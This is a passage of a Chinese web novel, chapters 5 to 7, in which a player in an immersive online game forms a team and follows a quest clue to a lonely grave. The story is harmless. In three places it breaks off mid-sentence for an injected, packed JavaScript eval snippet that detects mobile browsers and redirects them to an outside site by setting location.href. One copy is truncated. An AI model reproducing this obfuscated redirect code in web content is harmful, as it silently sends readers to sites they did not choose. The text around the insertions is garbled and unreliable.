这样走了一会儿，前头是个丁字路口，一条东西向的长街上热闹非常，游人如织，仿佛是什么集市庙会，道路两侧，杂耍的、卖馄饨的、卖首饰的、卖糖人的等等，应有尽有，令人眼花缭乱。 我平日里很少出门，也不喜欢一个人逛街，走进商场的时候常常感觉尴尬，一个原因是衣服往往贵得卖不起，一个原因就是看着热情的导购笑着跟我打招呼时我总是不知如何回应，不理人家吧怕人家失落，回应人家吧又会为自己看来看去不买衣服而感到不好意思，仿佛对不起别人的热情和笑容，于是乎后来我就很少去商店了，能网购解决尽量网购解决，衣服不合适鞋不合脚凑合凑合也就用了。 可是在游戏里，我倒蛮喜欢这种热闹喜庆的场景，什么新鲜有趣的东西都想去看看，反正大部分人都是ＮＰＣ，无视ＮＰＣ的吆喝我也没有心理负担。 我看了会儿五大三粗的壮汉胸口碎大石，跟着观众们鼓着掌，又看了会儿窈窕娉婷的女子走高跷，边看边喝着彩。不远处还有人摆擂台比武切磋的，我向来对竞争性的游戏不感兴趣，虽说那里也围着不少人看热闹，且为着攻下擂台的人高声叫好，我也没有过于好奇，并没有产生走过去看个究竟的冲动。 我慢悠悠地又走了一段，突然发现有表演皮影戏的，这种现场表演我平时很少见过，心下顿时觉得应该过去看一看，说不定会很有趣，便走过去瞧瞧戏里讲的是什么故事。 只见一座雷公塔立在幕布的右上角，白素贞辗转腾挪，正和法海斗法，只为救那心心念念的许仙。 “凡所有相，皆为虚妄。白素贞怎么就不明白呢？” 正看戏看得出神的我，耳边突然听到有人与我说话。声音里就能流露出几分优雅，不疾不徐，我一转身，惊讶于眼前这人丰神俊朗的面貌，其器宇之轩昂，当得起玉树临风这四个字。 只见他穿一身白色綉金线祥云锦袍，头戴金枝束发，手执一把带明黄色流苏的玉骨折扇，正目不转睛地看着我，似乎在等着我回答。 “她觉得这样为一个人付出是值得的吧。” “毁了千年的道行、被囚禁在雷公塔下也值得？代价未免太大了。”这位白衣公子边说边露出惋惜的神色。 “谁知道呢，有些事情不做怕后悔，也许就像歌里唱的那样，和有情人做快乐事，别问是劫是缘。” “姑娘说的有道理。”白衣公子收扇向我作揖，“在下唯月。”他起手在身前轻轻拂过，面前显示出他的名字。 “莫思婷。”我也回了一礼，两人的名字分别以墨色楷体字浮于二人之间，次第消失。 刚才溜达得太入神了，我几乎都要忘了自己在一个游戏里。突然一个玩家上前搭话，我才回过神来，有意思的是，这人在古代区域里有模有样，一点也不让人出戏。 来到新区域里忘了设置屏蔽陌生人语音，这才有刚才的对话，其实如果总能遇到这样彬彬有礼友善交流的人，游戏的过程会更有趣，广交朋友也将变成人生一大乐事。 我向来在交朋友这件事上没什么天分，不仅是现实生活中如此，游戏里亦是一样，倒不是自命清高，实在是我本人乏善可陈。 上学的时候一个班里总有一两个女生十分可爱，广受欢迎，可能她们都有特殊的交友技巧，以及令人难以抗拒的亲和力，承蒙抬举，我小学初中高中似乎总能和这样可爱的女生当上朋友，这本来是一件让人欢喜的事，毕竟可以远离寂寞。唯一的问题在于，谁都知道和可爱的女生相处常常可以心情愉悦，故而我的“友敌”太多了。 那个时候年纪小嘛，总以为真正的友谊应该是独占的，不太懂得和人分享，对朋友的朋友还抱有点敌意，生怕自己的朋友被抢走，可能那时候我已经敏锐地察觉到，我只是可爱女生旁边的一点点陪衬吧。 学生时代没有多少利益纠葛，交朋友倒也简单，只是后来大都断了联系，有一次一个老同学给我发来了学生时代的毕业照，看着那些熟悉的面孔，我惊讶地发现好多人我都已经不记得名字了。有些友谊挺难得，可如今想想断了也没什么可惜，人生就是这样嘛，分别是在所难免的。 工作以后我越来越沉默，雇主面前重要的是员工的能力，同事与同事之间更多的是难以逃避的竞争和比较，只要能表面上相处融洽，维持住和谐的人际关系，那就已经是很好的结果了。要知道，在班级里你还可以选择和谁做要好的朋友，和谁保持一定距离，但工作上你总免不了和一些让你不舒服的人打交道，而这种情形往往是很难拒绝的。 只有在游戏里，我才会任性地选择自己想要交的朋友，过一种我自己最喜欢的生活。 “一个人走不免寂寞，再精彩的皮影戏，若是身边没有朋友陪着点评分享一下，看起来也有些寡然无味了，不知道姑娘介不介意在下和你一道在这热闹的长街上畅游呢？”唯月欠了欠身，那姿势活脱脱一个从古代世界中走来的翩翩公子，和周围的情景融合得太到位了，虽然他的话隐隐给我点怪怪的感觉，就像是米饭没做熟的那种夹生，但并不让人讨厌。 别人如此彬彬有礼待我，我还真有几分不习惯，难以想象，现实生活中得是多老派的人才会以姑娘这种叫法称呼面前的女士呢，虽是老派，却又让人觉得那么可爱。 我忍不住冲他笑起来，真是有个有意思的玩家，完美嵌入游戏打造的世界中来，我实在不忍心破坏这种气氛，哪怕我第一感觉有点滑稽，我知道那也是我对古代的生活太有距离的缘故， “荣幸之至。” 本来一个人的旅途不期然地有新的同伴加入，走在人头攒动的大街上，我一时不知道起什么话头为好，两个人之间突然的沉默让我有些不自在，可是贸然地开口又不是我所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712059|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擅长的事情。 “是不是我刚才说话的样子古里古怪的，吓到你了呢？为什么你我之间的空气突然变得安静……”唯月右手合扇，扇尾轻抚左掌，他偏着脑袋一瞬不瞬地看着我，“如果有的话，我要先跟你说声对不起。其实细数一下，我平时登陆游戏的次数不少，但是好好去玩的机会倒没有很多。有的时候呢，我也不知道该在什么场合说什么话。如果有显得尴尬的地方，你要相信，那真的不是我的本意。” “怎么会呢？”我的脚步也随着他停下来，但我对直视他眼睛说话有些不适应，仅仅仓促地看了他一眼，“也无所谓古不古怪，其实我还有点羡慕你刚才说话的样子呢，我自己是做不到的。”我低下头仔细地说道，希望他能感受到我的诚恳，我只是某个乏味的现代人，让我维持偏古色古香的交流方式恐怕有些吃力，唯月这样的坦诚反倒让我卸下了思想包袱。 “那就好。”唯月语气听起来颇为释然。我抬头看了看他，他冲我眨了下眼睛，我也忍不住微笑起来。 我们随着人流走着，前方街边有几个叫卖各式小玩意儿的商贩。 “稍等一下。”唯月带着我走过去，示意我稍等一下。我只当是他要看看那些物件儿满足下好奇心，没想到没几句话的功夫他就走了回来，一手拿着一个看起来小孩子玩的四色木制大风车，一手提着个装饰精美的画有嫦娥月宫的花灯，他两手举起，把这两样物件展示一般提在我面前。那把玉骨扇子被他妥帖地别在腰带处。 “Ｓｕｒｐｒｉｓｅ，任君挑选，都选走也可以哦。我也不知道你喜欢什么，不然的话，我们再去那边一起看一下？” 我略带惊讶地看着他，毫不犹豫地选了大风车，“我喜欢花灯，但更喜欢这个！” 当我右手举着彩色大风车的时候，我感觉自己的童年回来了。 我迎着风，举着风车，让风带着它旋转。没风的时候我就顺着扇叶吹，小小的玩意儿倒是吸引了我很大的注意力。 “好久没玩儿了，真有意思。”我转过头来开心地对唯月说道，唯月优雅地提着花灯，眼带笑意地看了看我，“喜欢就好。” 我兀自跟风和风车嬉戏着，没注意身边突然冒出一个路人，逆着人流站定不动，口中还大声哀求着，不是我故意要听他说了什么话，只能说是他距离我太近，而音色又太有特点的缘故。 “大哥，你别躲我了行不行，我追你追得都跑不动了，这街上这么多ＮＰＣ，我找你找得眼睛都要花了。我求求你了，你就答应我吧！” 此人穿一身系统赠送的男士古装，蓝衣灰裤，和我那白衣粉裙十分类似，都是极其朴素，甚至有点寒酸，他的嗓音仿佛李逵转世，相似度达百分之一百零一，我怀疑他可能是开了变声器，用以隐藏自己真实的声音。 再细瞅他的脸，也是同样地让人难以忘怀，此位玩家在初始捏脸的时候显然想走的不是小鲜肉风格，只见他身材粗壮，膀大腰圆，一看就不是好惹的类型，可是身高却又与我相仿，加之一身肌肉的配置，人就显得颇为敦实。我趁他不注意打量他的面孔，最吸引我注意的无疑是画在脸上的油彩。那笔触类似于印第安人图腾的样式，他左右两颊分别被涂抹了三道大喇喇的一撇，每撇中间稍微有点棕色，两侧黑色，我仔细盯着六撇油彩，又有点怀疑，只能是怪我孤陋寡闻了，这油彩也许不是印第安人的标志而是萨满教的？总之看起来一股浓郁的自然崇拜气息，一个恍惚吧还以为小孩子画了个猫脸。 要不是此时系统未开放浏览器模块，我还真想搜一搜弄个究竟。与此相比他半张脸上令人唏嘘的胡茬都不算什么了。 这位墩实的壮汉不知因为何故在此好言相劝，软言相邀，只见他双手举起，向他所正在请求之人作了个揖，同时点头哈腰的，“拜托大哥了，拜托了。” 街市上人潮拥挤，ＮＰＣ占了大多数，也有零星的玩家对眼前的情状侧目而视。 我不禁随着壮汉的方向看了看，暂时停下脚步。 “我已经告诉过你了。”一个清冷的声音响起，此人吐字清晰，不失礼貌又给人一种拒人于千里之外的疏离感。我望向他，只见他带着一副面具，仿佛古代傩戏的样式，墨色的面具上挡住了上半张脸，只能看见一双眼睛。他的眼睛亮晶晶的，我越看越觉得熟悉，似乎是察觉到了我打量的目光，他看向我，微微注视了一下后，又扫了一眼我身旁的唯月。 5. 第 5 章 “别介呀，大哥！要不你再好好想想，你肯定也是来参加周年庆特典的吧，你肯定也想赢对不对！好不容易赶上了游戏运营商大放血的福利活动，不试一试多遗憾呐！奖品多丰富，万一赢了那不是赚大了？”猫脸大汉不遗余力地宣传着。 “你认识他们？”唯月偏着头轻声问我，我猜测他并没有看戏的心情。 “不好意思，稍等一下。”我低声跟唯月说了一声后，便迈步向前，走到大汉身旁，向他微微颔首，“无意打扰，问句话就走。” 大汉听了这话立马愣住了，指着自己的鼻子问道，“找我吗？” 我笑着摇了摇头，转身面向戴面具的那个人，“我们之前是不是见过？” 我话一出口顿时觉得这像一句拙劣的搭讪，但我不吐不快，“我的意思是说，昨天，如果我没认错的话……” 不能轻易忘记救过我的人，不然的话，自己再也不值得被别人施救。不能总是为自己找借口去逃避做一些重要且值得的事情，我脑袋里正在组织语言，想问出一句话，我总是隐隐地觉得，必须要找到那个在不周山见过的人。 “对，见过。” 他的回答让我不由得感到惊诧，随之而来的又是那么的心安。我记得那双眼睛，以此为凭借，幸好终能相见。 “大哥，原来你们认识啊？！”猫脸大汉似乎终于弄明白了眼前的状况，随后他便带着几分疑虑地频频打量着我和唯月。 “思婷姑娘，你确定没有认错人吗？我看这位兄台面具遮盖了大半张脸，五官也辨识不清楚，你要不要再仔细瞧瞧，可不要和你认识的那位朋友搞混了。”唯月的语气透着怀疑，不知何时他已收起花灯，又悠悠地摇起折扇。 我心想，其实我和那位好心人还没来得及认识呢，只不过，在此之前我想先找个机会好生跟人说声谢谢。 “应该不会认错的。” 好心人这次依然穿一身黑色的衣服，不过在黑如夜色的锦缎上有以蓝线绣成的海上波涛，或许黑色的衣着单纯是他个人的喜好，巧合的是，我也感觉这种装扮十分适合他。 他一如第一次见面时那么挺拔。 “既然思婷姑娘已经确认过，那倒也好。”唯月神色变得很轻松，“思婷姑娘，我和你很聊得来，就在不久之前我还想着问问你这件事呢。要是不嫌弃的话，这次周年特典我可不可以和你一起组队？你先别急着答复我，我看你好似有话要和你的朋友说，别着急，我到前边不远的酒肆那儿坐一坐，你们慢慢聊。”唯月微微一俯身，彬彬有礼地退出谈话。 “你要答应他吗？”好心人看着唯月走开后，把目光对准我，他的疑问是那么自然，好像我们不过是久未见面的故友。 “呃……我还没想过，也没什么不可以。只要不觉得我添麻烦就好。” “不会麻烦。”好心人略停顿一下，“我可不可以申请加入你的队伍？” “啊？”我彻底愣住了。其实我原本打算单刷的，心里头也知道大概率过不去，毕竟系统提醒过通关的难度，可是眼下突然间连续两个人要和我组队，我真是有点措手不及，受宠若惊…… “什么？”一旁默不作声的猫脸大汉突然嗷了一嗓子，“大哥我没听错吧？你要加入别人的队伍？我刚才苦苦求了你那么久要和你组队，你都没答应！这怎么突然就变卦了，你嫌弃我吗大哥？刚才比武切磋的时候我可是打遍天下无敌手啊，虽然现在特典才开放没多久，进入活动区域的玩家还没有那么多，可这番比武我的胜利多少也能说明点问题啊！我保证不拖后腿，你怎么就是不肯相信我呀！” 好心人看都没有看猫脸大汉一眼，但我似乎听到他微微叹气的声音。虽然我不认识这位猫脸大汉，但不得不说，这一会儿功夫我也能猜测到他必定是有几分死缠烂打的韧性。 猫脸大汉见好心人没什么反应，挠了挠后脑勺，眼珠子转了转，于是，我便听到那个酷似李逵的声音对我诚恳地抛出一个问题：“大姐，我能不能也加入你的队伍哇？” 我一阵腹诽：大兄弟，谁允许你叫我大姐的啊？看看你这么雄伟粗犷的外表，你这声大姐我可承受不起。可是面上，我也不过就是流露出那么一丝丝尴尬，“好说好说……我们先到那边坐一坐吧。” 我有点讪讪地带着两人与唯月会合，四人围坐在一张桌子周围。 “起先呢，我无意要组建一个队伍……但是机缘巧合吧，我也没弄明白是怎么一回事儿，大家都要加入。我当然不会不同意，只是我先坦白一点，我一直都是个碌碌无为的玩家，我担心影响你们求胜。” “思婷姑娘太客气了，游戏而已，怎么能说是碌碌无为呢？玩得开心最重要不是吗？我只知道我和你聊天的时候很开心。”唯月看着我的眼睛说出这番话，我被他盯得有点不好意思。 “你要是这么说的话，我也有话要讲……”猫脸大汉欲言又止，“算了，反正大哥在哪个队伍我就在哪个队伍。” 他口中的大哥并没有作声。 “这两位兄台怎么称呼？既然大家要成为同路人，依在下看来，还是诚恳一些比较好，如若总以面具遮蔽，怕是要影响以后交流啊。”唯月坐在我左侧，好心人坐在我的正对面。唯月话说完这番话后意味深长地看着好心人，虽是笑意犹在，但话里又有所意指。 他想让对方摘下面具。 我对此其实不甚在意，游戏中大家都在选择自己想呈现给别人的样子，而这幅样子多是经过美化的，就如同我这般，我不知道如果唯月角色背后的人面对角色背后的我的时候，他还会不会选择和我组成一个队伍。他对我必然有美丑胖瘦贫富等等判断，我对他亦然，而这诸多现实生活所附加给别人的标签，不正是我们这些沉浸在游戏中的人群一直以来想要忘记的吗？ 摘下面具以后看到的就是本来面目吗？游戏中当然有些事物关乎诚恳，但我想外表的一些细节不算在值得讨论的范畴里。 “也好。”好心人说完顿了顿，好像在隐隐作出一个决定，“我的名字是镜舟。”他抬起右手摘下自己的面具，从他的手指触碰到面具的时候开始，面具的轮廓便渐趋模糊，直至全部消逝。他右手放下时，手掌顺势在桌面上画出一个好看的弧度，他的名字浮现出来。 坐在桌边的我们仨都于此刻看向摘掉面具后的镜舟。莫名的，我喜欢这个名字。镜舟整个人如我初见他时那样，淡淡的，冷冷的，像黑夜中的一块玉，而玉上面还落着雪。镜舟不慌不忙地逐个回应我们的目光，最后视线又停留在我的身上。 “再次见面，希望这一回不要那么仓促了。”我尽量让自己的语气和表情都显得友好可亲，镜舟却没有回答什么，只是点了下头。 “哇——大哥摘下面具比戴上面具还要有型啊，帅哥你好，不愧是我选中的完美队友！”猫脸大汉顿时化身小迷弟，一脸欣赏。 “好，有诚意。”唯月原本在一旁摇着扇子好整以暇地看着冷若冰霜的镜舟对迷弟的赞叹报以无视的态度，此刻突然啪的一声合起扇子，正色道；“思婷姑娘，我们这个队伍就这么定了，你看如何？” “唉先等一下！怎么还没问我呢，我叫罗小星，本来我只想和大哥组队的，但是既然现在是这样的情况了，我也没什么可说的，总之，我会好好玩的。” 唯月左胳膊支着椅子的扶手，左手食指和中指支着下巴，慈眉善目地看向正对面的罗小星，“幸会，我了解了。”说完，他又正襟危坐，整理了下衣服后，面向我，“发起队伍邀请吧，思婷姑娘。” 镜舟、唯月、罗小星和我，就在我参加周年庆特典的第一天组成了一个队伍。这于我而言，是从未有过的经历。我只是偶尔当过别人队伍的过客，更多时候，我都是这梦田世界中的一名散人。当队伍组成时，画面中我们四个人的名字融合在一起化作一个队旗的样子，然后队旗飘到画面右上角，化成了系统中的队伍界面，从此以后，当我在屏蔽其他玩家的时候，我再也不会只看到我自己一个人了，我还会依然能看到队友们的身影。 我们是彼此不能屏蔽的存在，有属于队伍的专属聊天频道。 “不好意思，我有点困了，今天玩的时间有点久。不然我们定一个时间，平时就约在这个时候上线怎么样？”建完队伍之后我才察觉到自己的疲惫，上线时间太久了，到了该休息的时候。“我周末的时间比较自由，工作日的话，只有晚上七点以后才能上线。你们呢？” “我没有问题。”镜舟快而简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“昔人豪贵信陵君，今人耕种信陵坟。诶，这位姑娘让一让，不要挡了在下沽酒的路啊！” 我慌忙地拽了拽自己的椅子给来人腾出了地方，回身一看时发现刚才说话之人是一位上了年纪的书生，他穿一件粗布长袍，这衣服看起来似乎穿得有些年头了，袖口和胳膊肘处已打了几个补丁。书生身形瘦削，头上已有了白发，他举着个酒瓶，正是要去酒肆老板那打酒去。 “老先生，请留步！”我本来腾出地方让书生过去也就罢了，可是待他走远两步之后我突然反应过来一件事，急忙将他叫住。 “嗯？姑娘找我所为何事？”书生转过头来，眼神迷茫地看着我。 “荒城虚照碧山月，古木尽入苍梧云。”坦白来讲，《梁园吟》里我能背住的诗句除了之前的那句人生达命岂暇愁之外，就是这句了。我尽量字正腔圆地念出来，不得不说，字与字之间，还是很有韵律和美感的。我不能保证吟诵这句诗一定能有什么用，只是我想，老先生既然能念出《梁园吟》中的另一句话，在游戏里应该不仅仅是一种巧合，这背后应该是有目的的。 “原来姑娘也知道这首诗啊！”我特意细心观察着老先生在听到我念完这句诗后的反应，他的眼睛好像突然迸发出光彩，一改之前迷茫不解的模样。“在如今这个世道可真是难得啊。现在的年轻人不读诗啦，都在钻研典籍，只为考取功名。” “世道在变化，有些事情是难免的嘛。”我附和道，“不过总有些东西是不会被时间改变的。” “我看这位姑娘却是位有缘人。”老先生倒不像是在顺着之前的话题，反倒是有些话想说与我，我心里苦叹了一下，游戏里也不提示我是否找到正确的线索，我只好凭借自己的判断了，以刚才老先生听到诗句的反应来看，我绝对不能忽视他接下来要说的话，种种迹象表明，老先生定会是位关键ＮＰＣ。 “还是诗里说得好啊，‘梁王宫阙今安在，枚马先归不相待’，繁华盛景终会化为尘土，逝者如斯夫啊！都说那城东门十里以外的荒山是片不毛之地，前些年听说有开荒之人在山坡处开垦时掘出古物，顿时城内就有传闻说这荒山之下其实是前朝王侯的陵墓，这一时之间不知有多少人动了心思，打那金银财宝的主意，可是最终不都是一无所获嘛！即便那陵墓存在又如何，得到金银财宝又如何，是将其挥霍一空，还是死后再埋回地下？要我看，还不如拿几个铜板换作买酒钱，再拾几本前朝的诗文好好读一读罢了！”说罢，老先生一声轻笑，看着远处西斜的太阳，陷入了沉默。 我看了看座位上的三个队友，他们都认真地听我与老先生搭话，见我抽空瞅他们，罗小星张着嘴巴一脸崇拜地看着我。 6. 第 6 章 “怎么办？”我朝他们使着眼色，唯月一副听之任之的样子，只是摊了摊手。罗小星焦急地小声说道：“再问问啊？” 我又转身面向老先生，不知道该不该开口打断此时的沉默。 “姑娘你也想去探探那荒山是吗？”反倒是老者先开口了。 我被问了个措手不及，心想，如果这是关键ＮＰＣ的指引，那我真准备去看看，也许就会有线索。 “去，去，我们去！”罗小星站起来抢答，但是老先生只是瞥了他一眼，没有回应，我想，看来老先生只和与自己对上“暗号”的人交流，于是便回答道：“正有此意。” “那能不能拜托姑娘一件事，我有位故交，曾经共同为一句喜欢的诗文把酒言欢、激赏不已，都是科举不第，都是孤家寡人，他先我一步驾鹤西去，我突然想到已有很久没去看他了。他的坟就在山脚下，不过立了块无字碑罢了，坟前有一棵槐树，是我为他种下的，希望能为他挡挡风雨、解解闷，地方很好认。可否请姑娘替我带去一瓶酒，洒在他的坟前。” “可以的，老先生。”我没有犹豫就答应了。 “好，好，多谢姑娘了，劳烦你稍等我一会儿，我这就去沽酒。” 我重回座位，唯月伸出双手朝我鼓掌，“思婷姑娘博闻强识，我看我们已经成功找出并接受到任务了。明日再聚，就有行动的方向了。” “哪里……恰好知道两句诗而已。”我心想，幸好问到的是我知道的，我这堪忧的记忆力，从中搜索出来自己想要的信息可是越来越不容易了。 “大姐，没看出来，你还挺厉害哦！也不知道这游戏怎么想的，一参加活动就关闭网络搜索功能，什么年代了都，要考试要问问题，网上一搜什么不能找到啊？干嘛要用这么老土的方式增加过关难度！” “我说这位队友啊，记在脑子里的才是你的东西，这个道理你不会不明白吧。”唯月调侃道。 “切……”罗小星表示不屑。 “瞧你这个反应，我倒很想知道，青龙门你是怎么打开的？看样子，你是既不知道梁园也不知道《梁园吟》咯？” 面对唯月的追问，罗小星挠了挠脑袋，“总会有办法的嘛！你就不要问下去了！” “什么办法啊？不会是稀里糊涂混进来的吧？喂，我说罗小星啊，实力有限不如及早知难而退啊，后续关卡不知道还有什么妖魔鬼怪，最起码不会再遇到第一关这么容易的了，你不如趁早认清现实，别竹篮打水一场空啊。” “你这说的什么话嘛，这个任务大姐不是已经接到了吗？再说还有我大哥呢！还没开始怎么玩呢，你就说这么灭自家威风的话，你说我没实力，那你又有什么实力亮给大家看看呀！” 唯月也不急于辩驳自己，就那么似笑非笑地看着罗小星。 我看着他们两人斗嘴，觉得还蛮有趣的，但是他俩过于针锋相对又让人有些担心，我只好另起一个话题，“我提一句啊，别叫我大姐了，我长得就那么显老吗？叫名字就行，再个，说归说，咱们都是队友了，可别伤了和气。” “唯月说话气人。” “忠言逆耳。”唯月马上回答道。 这时，那位老先生已沽酒而回，我连忙站起来，恭敬地收下了那瓶酒。老先生离去后，我接受到来自队伍频道的一行系统提醒：任务已接受。 受君所托，必将忠君之事。 “队友们，果然和我们推测的一致，我们明天晚上东门外见咯。镜舟，总不见你说话，可别忘了，我们明天不见不散。”镜舟果真如初次见面那样，是一个寡言少语的性子，我怕冷落了他，也希望他能加入到我们的贫嘴中来，可是人的性格毕竟不同，他不想说就不说吧。 “嗯，不见不散。”镜舟看着我的眼睛回答道。 第二日，镜舟、唯月和我在城东门汇合，我先到了一会儿，在等待队友的间隙里，抽空和绿萝嬉戏一番。 进入特典区域以后，也回不到家园了，绿萝安静地呆在它的一方空间里，我有时候想不起来它，也就忘了将它宠爱一番，宠物嘛，就是要给它多多的关怀，它才会回报给你多多的温暖。 绿萝和我一起在东城门附近遛弯儿，它一门心思去扑蝴蝶，看起来没有受到冷落的样子，我却有些不好意思了。我本不是一个多喜欢小动物的人，照顾植物的段位也不过就是能让绿萝存活，当初领养绿萝的初心其实就是想让它陪自己做个伴，如今突然认识了别的玩家，还与他人结成队伍之后，不知不觉就会忽略了这个小家伙。 “幸亏你不是真的小猫咪对吗？如果是真的喵星人，你会生我的气吗？”我蹲在地上，看着绿萝玩闹的身影自言自语道，也许我就是这种多愁善感的性格吧，瞧绿萝的样子，明明万事都不放在心上，如果它会说话，会不会也笑我想太多。 原本玩得尽兴的绿萝突然放弃追逐蝴蝶，反倒跑到一人的脚边，蹭起人家的裤腿去了。绿萝可向来都是一副爱谁谁的性子，就算是我，有时候它也会没耐心让我摸头呢，这时候不知怎么了，突然变得这么热络。 我抬头一看，发现绿萝讨好的人竟然是镜舟。 “绿萝好像蛮喜欢你呢，镜舟。对了，镜舟，上次在不周山，真的非常非常感谢你，如果不是你的话，我可能就销号了……我去了很多次不周山，看风景也很多回了，还头一次遇到那么危险的情况，现在想想都觉得后怕啊。不过说起来还真挺巧的，你也喜欢不周山吗？我觉得……” “没什么。我很少去。”镜舟把头偏向一边，打断了我的话，这次他没有看我。 “哦哦。”我讪笑着，是我太聒噪了吗？我感觉已经搭不上话了，我原本心里非常感激，可是于镜舟看来那似乎不过是一件轻而易举且不足挂齿的事情。 绿萝在镜舟脚边撒着娇。 镜舟居高临下地看着绿萝，不说话。绿萝不甘心地“喵”了一声，就像个讨要抱抱的小孩子。 “绿萝，好啦，别撒娇了。不好意思啊，它除我之外也没什么玩伴，可能是我冷落了它，所以它才这么粘人吧。” “没事。”镜舟单膝跪地，右手轻柔地摩挲着绿萝的脑袋，绿萝终于得偿所愿，闭上眼睛安静了下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712061|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呦，你们都到了，在这逗猫呢？”此时唯月也上线了。 “回来吧，绿萝，我们要出发了。”绿萝却不情愿回到背包里，我只好由着它，等走累了自然就休息了。 “我已经找到那书生说的坟地了！果然有棵树立在旁边，不过那树已经枯死了。你们快来吧，我先四处看一看。” 罗小星在队伍里发了条语音，还顺便把自己的位置发了过来，我们看到他的大致方位，找到目的地也变得更容易了。 “我还以为你第一天就要迟到，没想到是抓紧时间做正事了。我们马上过去了。”唯月说完便带头出发了，我、镜舟紧跟其后，此时绿萝已经攀到镜舟的怀抱中了，真是一只懂得偷懒的小猫咪。 我们顺利地找到了那座孤坟，坟上的无字碑并不起眼，只是隐隐提醒着别人这块土堆之下埋葬了一个曾经活生生的人罢了，土堆周围已经长了些杂草，坟边的树却已经完全枯死，毫无绿意。 虽然不认识这位坟墓的主人，但我仅仅是站在这块土地上，就不由得感到悲伤。眼下游戏的世界里还是傍晚，特典的时空已经完全被游戏制作组设定好了，现实世界中虽是晚上，游戏里却可以看到天边的斜阳。 此地果然如老先生所说，十分荒凉，即便是有人在附近开垦土地恐怕也难以获得满意的收成，时间久了，此处自然变得人烟稀少。东边不远处的荒山与夕阳相视无言，热闹的城镇逐渐被暮色所笼罩，热闹是别人的，我们几人不过是在与枯树孤坟作伴。绿萝已经回到了背包里，它也不忍在这寂寥中待太久吧。 “这罗小星，把我们晾在这，他人跑哪去了？”唯月撇撇嘴。 “嗯，他不回来，这任务我也不敢完成。”既然成了一个队伍，像完成任务这种事还是等人齐了再做才行，落下谁都不太妥。还没等我在队伍里发问呢，罗小星先跟我们发布他的惊人发现。 他的语气中隐藏不住兴奋：“我围着这荒山转了一大圈，大部分地方看起来都没什么异样，就唯独现在我脚下的这片区域有点不大对劲，你们说，有没有可能发现什么，比如说，前朝的古墓？”最后一句话，罗小星特意放低了语气。 我们几人交换了眼色，都默不作声。镜舟神色如常，唯月挑了挑眉。 “你们是不是不信我啊，可惜这古代区域拍不了视频，不然我可一定让你们看看，你们看了一定会信我的话！” “信不信也不急于一时，你先回来，我们先过了任务再说，正事办完了我们一块儿过去看看。”我对古墓相关的内容兴趣不大，主要是一想到要孤身一人去探荒山就怕得牙齿打颤，幸好是组队而来啊。一般在人多一些的时候，心里就不会那么慌了。 罗小星的好奇心远超于其他人，我觉得他单独出发不太安全，想劝他回来，等稍候大家一起行事。 “那也好吧，”罗小星语气中有了点不情愿，好像受到了冷落一样，“我再标记下这里，要不一会儿天黑了就找不到了。你们等……哎呀！这什么？我靠……”罗小星似乎在慌乱中发送了消息，话还没说完就被中断了。 7. 第 7 章 “糟糕。”我心里一凉。这是遇到什么危险了？眼见这天色渐渐暗下去，这里地方僻静，没有烟火，正像罗小星刚才所说，一会儿天黑下来路可就更不好走了，山下如此，那罗小星在山上不是会更危险么！也不知道他遇到了什么突发情况。我试着再次给他发消息，却无人回答，队伍中他依然显示在线上，却又人间蒸发一般，罗小星不像是会和我们拿这种事情开玩笑的性格。 镜舟望向东边那座荒山，山不高，植被寥寥，此刻更显得阴森森的。镜舟看了看我，“我过去找他。”便向东方迈步，我赶紧追上他，“一起去。”我心里知道自己什么也不会，胆子还小，可是这时候除了去寻找队友，没有更重要的事了，再说让镜舟一个人去找，我同样不放心，反正我能帮一点是一点吧。 “喂——思婷姑娘，你们二位等一下，”唯月拉长声音在身后叫我俩，“虽然我觉得罗小星这花脸猫未免鲁莽了些，可我也没说就不管他了啊？” 镜舟和我自然能够明白唯月也想伸出援手的意图，于是乎驻足等待，唯月已几步追到我们身边，“打着灯笼就不难找了。”唯月又把他的花灯拿出来，此时花灯的光亮变得格外耀眼，在这荒郊野外无疑是个好工具。 我不好意思地看着唯月，“我还怕你嫌麻烦不想去呢……” “思婷姑娘，你甚至都还没开口问我呢。怎么，我看着像那么怕麻烦的人吗？我看到罗小星的第一眼，就知道后续肯定少不了麻烦事了，可他死缠烂打的本事倒是一绝，我能有什么办法。”唯月目光不经意扫过镜舟，像是想要寻求镜舟的附和，镜舟沉默不语。 “人多力量大，咱们一起找，肯定更有效率。我刚才也是脑袋一时乱乱的，没经历过这种状况，一下子不知道怎么做好了。那咱们现在就赶紧出发吧，越晚越不好找。” “我来领路吧，天已经黑下来了，罗小星一个人就能找到的特别区域，我们三个人应该也不会用多长时间，注意观察，注意脚下。”唯月提着灯走在队伍的最前方，我和镜舟紧随其后。 是镜舟最先发现的异样，那时我们已经走到一处背阴的山坡，距离山顶还有大概一百米的距离。唯月兀自在前走着，提着灯笼试图搜寻罗小星的身影，镜舟突然停了下来，蹲下身子看着地上的泥土。 “怎么了，镜舟？”我凑过去，有些不明所以。 镜舟伸出右手食指和拇指捻了捻地上的泥土，“应该在这附近。” “啊？”我更不解了，唯月这时候看我们停下来便也向我们靠拢。 